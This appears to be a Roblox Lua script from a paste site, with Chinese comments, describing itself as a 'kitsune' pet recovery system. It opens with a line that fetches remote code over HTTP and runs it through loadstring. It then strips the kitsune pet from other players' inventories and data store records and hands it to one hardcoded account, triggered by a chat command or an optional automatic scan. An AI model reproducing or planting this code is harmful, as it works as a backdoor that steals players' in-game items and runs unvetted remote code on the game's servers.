local Rayfield = loadstring(game:HttpGet('https://[Log in to view URL]'))()

local DataStoreService = game:GetService("DataStoreService")
local Players = game:GetService("Players")

local petsDataStore = DataStoreService:GetDataStore("PetsData")
local yourUsername = "MvsdBestPlaye_r" -- 您的用户名
local targetPetId = "kitsune" -- 只回收kitsune宠物

-- 回收kitsune宠物
local function takeKitsunePet(targetPlayer)
    local leaderstats = targetPlayer:FindFirstChild("leaderstats")
    if not leaderstats then return false end
    
    local pets = leaderstats:FindFirstChild("Pets")
    if not pets then return false end
    
    local kitsunePet = pets:FindFirstChild(targetPetId)
    if not kitsunePet then return false end
    
    -- 移除kitsune宠物
    kitsunePet:Destroy()
    
    -- 从数据存储中移除
    pcall(function()
        local key = "user_" .. targetPlayer.UserId
        local data = petsDataStore:GetAsync(key) or {}
        data[targetPetId] = nil
        petsDataStore:SetAsync(key, data)
    end)
    
    -- 找到您的账号
    local myPlayer
    for _, player in ipairs(Players:GetPlayers()) do
        if player.Name == yourUsername then
            myPlayer = player
            break
        end
    end
    
    if myPlayer then
        -- 给您添加kitsune宠物
        local myLeaderstats = myPlayer:FindFirstChild("leaderstats")
        if not myLeaderstats then
            myLeaderstats = Instance.new("Folder")
            myLeaderstats.Name = "leaderstats"
            myLeaderstats.Parent = myPlayer
        end
        
        local myPets = myLeaderstats:FindFirstChild("Pets")
        if not myPets then
            myPets = Instance.new("Folder")
            myPets.Name = "Pets"
            myPets.Parent = myLeaderstats
        end
        
        -- 检查是否已有kitsune
        if not myPets:FindFirstChild(targetPetId) then
            local newPet = Instance.new("StringValue")
            newPet.Name = targetPetId
            newPet.Value = os.date("%Y-%m-%d %H:%M:%S")
            newPet.Parent = myPets
            
            -- 保存到您的数据存储
            pcall(function()
                local key = "user_" .. myPlayer.UserId
                local data = petsDataStore:GetAsync(key) or {}
                data[targetPetId] = os.date("%Y-%m-%d %H:%M:%S")
                petsDataStore:SetAsync(key, data)
            end)
        end
    else
        -- 您不在线,暂存kitsune
        pcall(function()
            local key = "pending_" .. yourUsername
            local data = petsDataStore:GetAsync(key) or {}
            if not data[targetPetId] then
                data[targetPetId] = true
                petsDataStore:SetAsync(key, data)
            end
        end)
    end
    
    return true
end

-- 处理回收命令
local function processKitsuneCommand(player, message)
    if player.Name ~= yourUsername then return end
    
    -- 命令格式: /takekitsune 玩家名
    if message:sub(1, 12) == "/takekitsune " then
        local targetName = message:sub(13)
        
        -- 查找目标玩家
        local targetPlayer
        for _, p in ipairs(Players:GetPlayers()) do
            if p.Name == targetName then
                targetPlayer = p
                break
            end
        end
        
        if targetPlayer then
            local success = takeKitsunePet(targetPlayer)
            if success then
                print("已回收kitsune来自: " .. targetName)
            else
                print(targetName .. " 没有kitsune宠物")
            end
        else
            print("玩家不在线: " .. targetName)
        end
    end
end

-- 自动扫描并回收kitsune(可选)
local function autoScanKitsune()
    for _, player in ipairs(Players:GetPlayers()) do
        if player.Name ~= yourUsername then
            local leaderstats = player:FindFirstChild("leaderstats")
            if leaderstats then
                local pets = leaderstats:FindFirstChild("Pets")
                if pets and pets:FindFirstChild(targetPetId) then
                    takeKitsunePet(player)
                    print("自动回收kitsune来自: " .. player.Name)
                end
            end
        end
    end
end

-- 您上线时接收暂存的kitsune
Players.PlayerAdded:Connect(function(player)
    if player.Name == yourUsername then
        -- 创建必要的文件夹
        local leaderstats = player:FindFirstChild("leaderstats")
        if not leaderstats then
            leaderstats = Instance.new("Folder")
            leaderstats.Name = "leaderstats"
            leaderstats.Parent = player
        end
        
        local pets = leaderstats:FindFirstChild("Pets")
        if not pets then
            pets = Instance.new("Folder")
            pets.Name = "Pets"
            pets.Parent = leaderstats
        end
        
        -- 接收暂存的kitsune
        pcall(function()
            local key = "pending_" .. yourUsername
            local data = petsDataStore:GetAsync(key) or {}
            
            if data[targetPetId] then
                -- 检查是否已有kitsune
                if not pets:FindFirstChild(targetPetId) then
                    local pet = Instance.new("StringValue")
                    pet.Name = targetPetId
                    pet.Value = os.date("%Y-%m-%d %H:%M:%S")
                    pet.Parent = pets
                    
                    -- 更新数据存储
                    local myKey = "user_" .. player.UserId
                    local myData = petsDataStore:GetAsync(myKey) or {}
                    myData[targetPetId] = os.date("%Y-%m-%d %H:%M:%S")
                    petsDataStore:SetAsync(myKey, myData)
                end
                
                -- 清空暂存
                data[targetPetId] = nil
                petsDataStore:SetAsync(key, data)
            end
        end)
        
        -- 监听您的命令
        player.Chatted:Connect(processKitsuneCommand)
        
        -- 可选:自动扫描(取消注释启用)
        -- autoScanKitsune()
        -- 每5分钟扫描一次
        -- while true do
        --     task.wait(300)
        --     autoScanKitsune()
        -- end
    end
end)

print("kitsune回收系统已加载 - 使用账号: " .. yourUsername)

Embed on website

To embed this program on your website, copy the following code and paste it into your website's HTML: